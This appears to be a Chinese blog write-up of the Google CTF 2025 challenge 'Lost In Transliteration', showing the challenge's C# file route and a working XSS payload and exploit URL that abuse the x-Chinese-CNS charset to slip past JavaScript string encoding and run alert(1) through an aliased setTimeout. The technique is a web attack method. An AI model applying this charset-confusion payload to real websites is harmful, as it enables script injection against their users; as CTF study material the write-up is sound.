js 允许生成特殊的变量名 基于字符集编码混淆的 XSS 绕过漏洞 -- Google 2025 Lost In Transliteration

发布于:2025-07-02 ⋅ 阅读:(35) ⋅ 点赞:(0)

题目实现了一个字符转换工具

/file路由用户可以通过 ct 参数自定义 Content-Type

// 文件路由 - 提供静态文件服务(JS和CSS),支持内容类型验证
app.MapGet("/file", (string filename = "", string? ct = null, string? q = null) =>
{
  // 根据文件名查找对应的模板文件
  string? template = FindFile(filename);
  if (template is null)
  {
    return Results.NotFound();
  }
  // 设置默认内容类型为纯文本
  ct ??= "text/plain";
  // 验证内容类型是否安全
  if (!IsValidContentType(ct))
  {
    return Results.BadRequest("Invalid Content-Type");
  }
  // 替换模板中的查询参数并返回处理后的内容
  string text = template
      .Replace("TEMPLATE_QUERY_JS", JsEncode(q));
  return Results.Text(text, contentType: ct);
});

当 HTTP 响应头或 Content-Type 指定了 charset=x-Chinese-CNS,浏览器会用 CNS 11643 这个字符集来解码响应体的字节流。CNS 11643 是一种多字节编码,很多单字节(如常见的 ASCII 范围)在 CNS 11643 下会被解码为完全不同的字符,甚至是不可见字符或特殊符号。

简单来说:
  • 攻击者不直接写入 <script>alert(1)</script>

  • 而是计算:在目标字符集 CNS 11643 的编码规则下,哪些字节序列会被解码为 <script>alert(1)</script> 这些字符。

  • 攻击者将计算出的这些特定字节序列写入响应体。

JavaScript 完全允许使用特殊字符(包括 Unicode 字符)作为变量名。这是 JavaScript 语言规范的一部分。(顺便说一句,大部分语言都支持)

// 第一部分:终止字符串并注入代码
asdaÃ'??Ã:alert  // CNS 11643 解码后变为:'asda'; alert(1); //
                 // 字节序列:E690B3 → ';   C582C582E690A5 → alert(1);//

// 第二部分:创建 setTimeout 的短别名
var µ=setTimeout  // µ (U+00B5) 是合法变量名
                  // CNS 11643 中的 E6838F 解码为 µ=

// 第三部分:使用模板字符串执行 XSS
µ`alert\u0028\u0031\u0029\u002f\u002fÐ`  
// 等价于:setTimeout('alert(1)//')
// \u0028 → (   \u0031 → 1   \u0029 → )   \u002f → /
// 模板字符串 `` 可替代函数调用括号

// 第四部分:干扰性变量声明
var tag  // 无实际作用,用于增加代码"合法性"

// 第五部分:完成攻击链
µ`';  // CNS 11643 中的 E68EA4 解码为 µ` 
      // 组合前文形成完整调用:setTimeout('alert(1)//')
/file?filename=script.js&ct=text/html;charset=x-Chinese-CNS&q=asda%E6%90%B3%C5%82%C5%82%E6%90%A5alert%0avar%20%E6%83%8FsetTimeout%0a%E6%8E%A4alert(1)//%E6%92%9F%0avar%20tag%0a%E6%8E%A4

此有效负载经过下面这段代码将截断原有代码

  // 替换模板中的查询参数并返回处理后的内容
  string text = template
      .Replace("TEMPLATE_QUERY_JS", JsEncode(q));

网站公告

今日签到

点亮在社区的每一天
去签到